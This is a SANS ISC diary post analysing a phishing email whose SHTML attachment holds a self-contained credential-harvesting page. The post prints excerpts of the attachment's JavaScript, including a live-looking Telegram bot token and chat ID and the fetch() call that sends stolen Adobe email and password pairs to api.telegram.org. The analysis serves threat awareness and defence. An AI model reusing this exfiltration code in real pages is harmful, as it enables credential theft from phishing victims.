Phishing authors have long ago discovered that adding HTML attachments to the messages they send out can have significant benefits for them – especially since an HTML file can contain an entire credential-stealing web page and does not need to reach out to the internet for any other reason than to send the credentials a victim puts in a login form to an attacker-controlled server[1]. Since this approach can be significantly more effective than just pointing recipients to a URL somewhere on the internet, the technique of sending out entire credential-stealing pages as attachments has become quite commonplace.

However, even though threat actors have been experimenting with variations on the “self-contained HTML phishing attachment” formula for many years now, one can still come across HTML attachments which are interesting or unusual for some reason. And, in fact, I found one such attachment while I was going over phishing messages that were delivered to our handler inbox over the past week.

The e-mail message which carried the attachment looked like any other phishing…

…the attachment was somewhat more unusual, however.

The attached file had a SHTML extension (the extension was probably changed in an attempt to get past basic filters looking for the “.html” string) and was entirely made up of three script tags and their contents.

The first script, as you may see, was only intended to set the e-mail address of the recipient.

<script>
let zhe = [e-mail address of the recipient];
</script>

The second script contained a URL-encoded body of the actual page, which was fairly basic – it was only intended to display a simple form with a password prompt.

<script language=”javascript”>
document.write(unescape(‘%3C%68
…
%0A%20’));
</script>

The third script, which implemented the actual mechanism for sending credentials to the attacker, was the interesting one. First, because it wasn’t obfuscated in any way, but mainly because it didn’t send the e-mail and password combination to an attacker-controlled server, as one might expect, but rather to a Telegram channel. It did so using a simple GET request to api.telegram.org, as the following excerpt shows…

<script type=”text/javascript”>
…
window.addEventListener(‘load’, () => {
emailGrab.textContent = zhe;
});
let xyz = 6232213176;
let yxz = ‘6274096448:AAFIuDO3z8WR4lglrmpW3RvReWlVaHQVYJ0’;
function telegramApi(method, id, message) {
fetch(`https://api.telegram.org/bot${yxz}/${method}?chat_id=${id}&text=${message}&parse_mode=HTML`);
}
button.addEventListener(‘click’, () => {
const results = `Adobe EmailAddress: ${emailGrab.textContent} Adobe Password: ${passInput.value}`;
if (passInput.value === ”) {
alert(‘The Following error(s) occured – Password Required’)
}
else {
telegramApi(‘sendMessage’, xyz, results);
…
}
});
…
</script>

While the use of Telegram by threat actors is not new by any stretch, I have never before come across this specific combination of a phishing message with an HTML attachment that contains a JavaScript-based credential stealing page that sends the stolen credentials to a Telegram channel…

And even though I’m quite certain that it is not the first time that this approach has been used in the wild, this campaign provides a good reminder that Telegram and other messaging systems can be used for fairly low-visibility data exfiltration, if an organization doesn’t have these vectors properly monitored or blocked outright (e.g., using DNS-level or URL-level filtering).

[1] https://isc.sans.edu/diary/Phishing+with+a+selfcontained+credentialsstealing+webpage/25580

———–
Jan Kopriva
@jk0pr | LinkedIn
Nettles Consulting

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.